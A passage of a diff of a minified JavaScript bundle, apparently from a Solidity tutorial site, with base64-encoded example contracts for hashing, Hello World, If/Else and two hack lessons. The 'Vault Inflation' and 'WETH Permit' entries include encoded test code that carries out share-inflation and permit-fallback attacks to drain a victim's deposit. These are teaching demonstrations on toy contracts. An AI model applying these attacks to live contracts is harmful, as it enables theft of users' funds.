dKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],E2=`

                                  Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

                                  For example this technique is used to:

                                    @@ -10859,7 +11231,7 @@ if the signer's intention was to approve a transaction once.

                                    ); } } -`,HW=({prev:s,next:a})=>r.jsx(A,{version:VW,title:YW,description:XW,cyfrinLink:vW,html:NW,prev:s,next:a,codes:RW}),FW="0.8.26",KW="Vault Inflation",MW="An example of vault inflation",SW="",xW=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIElFUkMyMCwKICAgIFZhdWx0LAogICAgVG9rZW4KfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3MvdmF1bHQtaW5mbGF0aW9uL1ZhdWx0SW5mbGF0aW9uLnNvbCI7Cgp1aW50OCBjb25zdGFudCBERUNJTUFMUyA9IDE4OwoKY29udHJhY3QgVmF1bHRUZXN0IGlzIFRlc3QgewogICAgVmF1bHQgcHJpdmF0ZSB2YXVsdDsKICAgIFRva2VuIHByaXZhdGUgdG9rZW47CgogICAgYWRkcmVzc1tdIHByaXZhdGUgdXNlcnMgPSBbYW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VlbWFibGUiLCB2YXVsdC5wcmV2aWV3UmVkZWVtKHNoYXJlczEpKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICAvLyB1c2Vyc1swXSBkZXBvc2l0IDEKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkZXBvc2l0IC0tLSIpOwogICAgICAgIHZtLnByYW5rKHVzZXJzWzBdKTsKICAgICAgICB2YXVsdC5kZXBvc2l0KDEpOwogICAgICAgIHByaW50KCk7CgogICAgICAgIC8vIHVzZXJzWzBdIGRvbmF0ZSAxMDAKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSB1c2Vyc1swXSBkb25hdGUgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMF0pOwogICAgICAgIHRva2VuLnRyYW5zZmVyKGFkZHJlc3ModmF1bHQpLCAxMDAgKiAoMTAgKiogREVDSU1BTFMpKTsKICAgICAgICBwcmludCgpOwoKICAgICAgICAvLyB1c2Vyc1sxXSBkZXBvc2l0IDEwMAogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIHVzZXJzWzFdIGRlcG9zaXQgLS0tIik7CiAgICAgICAgdm0ucHJhbmsodXNlcnNbMV0pOwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],JW=`

                                    Vulnerability

                                    +`,Q2=({prev:s,next:a})=>r.jsx(A,{version:S2,title:x2,description:J2,cyfrinLink:z2,html:E2,prev:s,next:a,codes:D2}),T2="0.8.26",U2="Vault Inflation",L2="An example of vault inflation",_2="",O2=[{fileName:"VaultInflation.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29s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AgICAgcHJpbnQoKTsKICAgIH0KfQo="}],P2=`

                                    Vulnerability

                                    Vault shares can be inflated by donating ERC20 token to the vault.

                                    Attacker can exploit this behavior to steal other user's deposits.

                                    Example

                                    @@ -10937,7 +11309,7 @@ if the signer's intention was to approve a transaction once.

                                    print(); } } -`,zW=({prev:s,next:a})=>r.jsx(A,{version:FW,title:KW,description:MW,cyfrinLink:SW,html:JW,prev:s,next:a,codes:xW}),DW="0.8.26",EW="WETH Permit",QW="An example of WETH permit hack",TW="",UW=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMjBQZXJtaXQgcHVibGljIGltbXV0YWJsZSB0b2tlbjsKIC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hbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],_W=`

                                    Vulnerability

                                    +`,$2=({prev:s,next:a})=>r.jsx(A,{version:T2,title:U2,description:L2,cyfrinLink:_2,html:P2,prev:s,next:a,codes:O2}),q2="0.8.26",sG="WETH Permit",aG="An example of WETH permit hack",nG="",lG=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZ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VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvb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zcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yN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ICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],pG=`

                                    Vulnerability

                                    Most ERC20 have the permit function to approve a spender if a valid signature is provided.

                                    However WETH does not. Surprisingly, when permit is called on WETH, the function call will execute without any errors.

                                    This is because the fallback inside WETH is execute when permit is called.

                                    @@ -11170,7 +11542,7 @@ if the signer's intention was to approve a transaction once.

                                    emit Withdraw(msg.sender, amount); } } -`,LW=({prev:s,next:a})=>r.jsx(A,{version:DW,title:EW,description:QW,cyfrinLink:TW,html:_W,prev:s,next:a,codes:UW}),OW="0.8.26",PW="Hashing with Keccak256",$W="Example of hashing using Keccak256 in Solidity",qW="https://www.cyfrin.io/glossary/hashing-with-keccak256-solidity-code-example",s2=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],a2=`

                                    keccak256 computes the Keccak-256 hash of the input.

                                    +`,eG=({prev:s,next:a})=>r.jsx(A,{version:q2,title:sG,description:aG,cyfrinLink:nG,html:pG,prev:s,next:a,codes:lG}),cG="0.8.26",tG="Hashing with Keccak256",oG="Example of hashing using Keccak256 in Solidity",rG="https://www.cyfrin.io/glossary/hashing-with-keccak256-solidity-code-example",iG=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNv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TE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgIH0KfQo="}],gG=`

                                    keccak256 computes the Keccak-256 hash of the input.

                                    Some use cases are:

                                    • Creating a deterministic unique ID from an input
                                    • @@ -11212,7 +11584,7 @@ if the signer's intention was to approve a transaction once.

                                      return keccak256(abi.encodePacked(_word)) == answer; } } -`,n2=({prev:s,next:a})=>r.jsx(A,{version:OW,title:PW,description:$W,cyfrinLink:qW,html:a2,prev:s,next:a,codes:s2}),l2="0.8.26",p2="Hello World",e2="Hello world in Solidity",c2="",t2=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNiBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI2OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],o2=`

                                      pragma specifies the compiler version of Solidity.

                                      +`,hG=({prev:s,next:a})=>r.jsx(A,{version:cG,title:tG,description:oG,cyfrinLink:rG,html:gG,prev:s,next:a,codes:iG}),IG="0.8.26",dG="Hello World",CG="Hello world in Solidity",jG="",AG=[{fileName:"HelloWorld.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBjb21waWxlciB2ZXJzaW9uIG11c3QgYmUgZ3JlYXRlciB0aGFuIG9yIGVxdWFsIHRvIDAuOC4yNiBhbmQgbGVzcyB0aGFuIDAuOS4wCnByYWdtYSBzb2xpZGl0eSBeMC44LjI2OwoKY29udHJhY3QgSGVsbG9Xb3JsZCB7CiAgICBzdHJpbmcgcHVibGljIGdyZWV0ID0gIkhlbGxvIFdvcmxkISI7Cn0K"}],uG=`

                                      pragma specifies the compiler version of Solidity.

                                      // SPDX-License-Identifier: MIT
                                       // compiler version must be greater than or equal to 0.8.26 and less than 0.9.0
                                       pragma solidity ^0.8.26;
                                      @@ -11220,7 +11592,7 @@ if the signer's intention was to approve a transaction once.

                                      contract HelloWorld { string public greet = "Hello World!"; } -
                                      `,r2=({prev:s,next:a})=>r.jsx(A,{version:l2,title:p2,description:e2,cyfrinLink:c2,html:o2,prev:s,next:a,codes:t2}),i2="0.8.26",g2="If / Else",h2="If / Else conditional statement in Solidity",I2="https://www.cyfrin.io/glossary/if-else-solidity-code-example",d2=[{fileName:"IfElse.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IElmRWxzZSB7CiAgICBmdW5jdGlvbiBmb28odWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHggPCAxMCkgewogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9IGVsc2UgaWYgKHggPCAyMCkgewogICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVybmFyeSh1aW50MjU2IF94KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gaWYgKF94IDwgMTApIHsKICAgICAgICAvLyAgICAgcmV0dXJuIDE7CiAgICAgICAgLy8gfQogICAgICAgIC8vIHJldHVybiAyOwoKICAgICAgICAvLyBzaG9ydGhhbmQgd2F5IHRvIHdyaXRlIGlmIC8gZWxzZSBzdGF0ZW1lbnQKICAgICAgICAvLyB0aGUgIj8iIG9wZXJhdG9yIGlzIGNhbGxlZCB0aGUgdGVybmFyeSBvcGVyYXRvcgogICAgICAgIHJldHVybiBfeCA8IDEwID8gMSA6IDI7CiAgICB9Cn0K"}],C2=`

                                      Solidity supports conditional statements if, else if and else.

                                      +`,yG=({prev:s,next:a})=>r.jsx(A,{version:IG,title:dG,description:CG,cyfrinLink:jG,html:uG,prev:s,next:a,codes:AG}),mG="0.8.26",bG="If / Else",wG="If / Else conditional statement in 